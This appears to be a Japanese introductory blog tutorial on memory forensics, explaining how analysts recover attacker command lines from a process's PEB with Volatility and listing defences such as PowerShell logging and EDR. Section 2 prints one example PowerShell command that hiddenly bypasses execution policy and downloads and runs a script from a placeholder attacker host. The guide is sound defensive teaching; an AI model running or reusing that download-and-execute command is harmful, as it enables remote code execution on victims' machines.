【入門編】メモリフォレンジックにおけるコマンドライン引数の復元と攻撃コマンドの特定 – インシデントレスポンス & フォレンジック（DFIR）防御ガイド

こんにちは！日々の開発やインフラの管理、本当にお疲れ様です。

いきなりですが、あなたのパソコンの中で、もし「見知らぬ誰か」が勝手に合鍵を作って、こっそり怪しいプログラムを動かしていたとしたら……想像するだけでもゾッとしますよね。

セキュリティの世界では、まさにこのような「目に見えない侵入者」を暴き出すための技術が存在します。その一つが、今回お話しする「メモリフォレンジック」です。

難しそうに聞こえるかもしれませんが、安心してくださいね。今回は、攻撃者がパソコンの裏側でこっそり実行した「危ないコマンド」を、どうやって見つけ出すのか、身近な例えを交えながら一歩ずつ優しく紐解いていきましょう！

—

1. 泥棒の足跡はどこに残る？「メモリ」の世界をのぞき見しよう

皆さんのパソコン（Windowsなど）が動いているとき、CPUやメモリ（RAM）の上では、たくさんのプログラムが忙しく働いていますよね。

例えば、あなたがメモ帳を開いたり、ブラウザで動画を見たりしているとき、それらのデータはすべて「メモリ」という名の広大な作業机の上に広げられます。

ここで、現実の「空き巣（攻撃者）」に例えて考えてみましょう。
泥棒があなたの家に侵入して、何かコソコソと作業をしたとします。床についた足跡や、開けっ放しの引き出し、そして何より「どんな道具を使って、何をしようとしたのか」という痕跡（メモ書きなど）は、その場に残ってしまいますよね。

パソコンの世界でも同じです。攻撃者は、セキュリティソフトの目をかいくぐるために、ファイルをハードディスク（Cドライブなど）に保存せず、メモリという「電源を切れば消えてしまう儚い作業机の上」だけで悪さをする手口を好んで使います。

「ファイルとして証拠が残らないなら、見つからないのでは？」と思いますよね。
ですが、ここで大活躍するのがメモリフォレンジックなんです。電源を切る前のメモリの様子をそっくりそのまま写真（ダンプ）として保存し、プロがその机の上をくまなく捜査することで、攻撃者の足跡を完全に暴き出すことができるのです。

—

2. 攻撃者の隠し味！「PEB」とコマンドライン引数の秘密

さて、メモリフォレンジックの現場で、アナリストたちが最も執念深く探す場所の一つに「PEB（プロセス環境ブロック）」というものがあります。

少し難しい名前が出てきましたが、心配いりません。これは、パソコン上で動いている一つひとつのアプリ（プロセス）にとっての「身分証明書兼、本日のスケジュール帳」のようなものです。

攻撃者はどうやって隠れるのか？

最近の巧妙な攻撃者は、よく知られた安全なプログラム（例えば、Windowsに最初から入っているお墨付きのツールなど）を乗っ取って、その裏でこっそり悪意あるスクリプト（PowerShellなど）を動かします。

このとき、彼らはコマンドを実行するために、次のような長い呪文（コマンドライン引数）を使います。

# 攻撃者がよく使う難読化されたコマンドの例（絶対に実行しないでくださいね！）
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex(New-Object Net.WebClient).DownloadString('http://evil.example.com/payload.ps1')"

すごく複雑な暗号のように見えますよね。
「こっそりダウンロードして実行してね」という指示が詰め込まれています。攻撃者はこれを黒い画面（コマンドプロンプトやPowerShell）で見えないように隠そうとしますが、このプログラムが「どんな指示（引数）を受け取って起動したのか」という情報は、先ほど紹介した「PEB（スケジュール帳）」の中にしっかりと記録されて残ってしまうのです。

つまり、どれだけ隠れて悪さをしようとも、作業机の上のスケジュール帳を見れば、「あ、この時間にこういう命令を出したな！」と丸わかりになってしまうというわけですね。

—

3. 実践！メモリからコマンドラインを復元してみよう

ここからは、私たちエンジニアが実務でどのようにこの証拠を引っ張り出しているのか、その雰囲気を少しだけ覗いてみましょう。

現場では、Volatility（ボラティリティ）という強力なメモリ解析ツールがよく使われます。これを使うと、メモリの塊（ダンプファイル）から、当時のプロセス情報を綺麗にリストアップすることができます。

例えば、Pythonスクリプトや専用のコマンドを使って、怪しいプロセスのPEBを覗き見するイメージは以下のようになります。

# 【概念コード】メモリイメージからプロセスとPEB情報を走査するイメージ
import volatility3.framework.interfaces.plugins as plugins

class FindCommandLine(plugins.PluginInterface):
    """
    メモリダンプから各プロセスのPEBを辿り、
    実行時コマンドライン引数を抽出するためのシミュレーションコードです。
    """
    def run(self):
        # 1. 稼働しているすべてのプロセスのリストを取得します
        processes = self.get_process_list()
        
        for proc in processes:
            print(f"プロセス名: {proc.name} (PID: {proc.pid})")
            
            # 2. プロセス専用の身分証明書「PEB」のアドレスを特定します
            peb_address = proc.get_peb_address()
            
            # 3. PEBの中から、コマンドライン引数が書かれているエリア（ProcessParameters）を読み込みます
            command_line = self.read_command_line_from_peb(peb_address)
            
            # 4. 発見したコマンドラインを出力します
            if command_line:
                print(f"  └ 検出されたコマンドライン: {command_line}")
            else:
                print(f"  └ コマンドライン情報は特に見つかりませんでした。")

# ※実際のツールでは、これらがC言語やPythonで最適化され、一瞬で数千のプロセスから不審な文字列を炙り出します。

このようにして、現場のアナリストたちは、攻撃者が仕掛けた難読化されたPowerShellのコマンドラインを綺麗に復元し、「一体、どのサーバーから何をダウンロードしようとしたのか」を完全に特定していくのです。

—

4. 一歩ずつ対策を学んでいきましょう！

ここまで、メモリフォレンジックを使って攻撃者の足跡（コマンドライン引数）を暴く仕組みを見てきました。「なんだか奥が深くて難しそう……」と感じた方もいらっしゃるかもしれません。

ですが、セキュリティ対策の第一歩は、「敵がどこに足跡を残してしまうのかを知ること」です。

皆さんが日々の開発やインフラ構築で行える対策としては、以下のようなものがあります。

1. PowerShellのログをしっかり残す（ロギングの強化）

万が一メモリを見逃しても、OSのイベントログ（Script Block Loggingなど）に同じコマンドラインが記録されるように設定しておきましょう。

2. 不要な実行権限を厳しく絞る

攻撃者が好むようなツール（PowerShellなど）が、一般ユーザーや不必要なサービスから実行されないように権限を絞ることで、そもそも危ないコマンドを実行させない環境を作ることができます。

3. EDR（Endpoint Detection and Response）製品の導入を検討する

最近のセキュリティ製品は、今回紹介したような「メモリ上の不審な動き」や「PEB周辺の怪しい書き換え」を自動で検知してアラートを出してくれます。

セキュリティの世界は広大ですが、今日知った「PEB」や「コマンドライン引数」というキーワードを頭の片隅に置いておくだけでも、インシデントが起きたときの見え方がガラリと変わるはずです。

焦らず、一歩ずつ、安全なシステム作りを学んでいきましょうね！それでは、次の解説でお会いしましょう！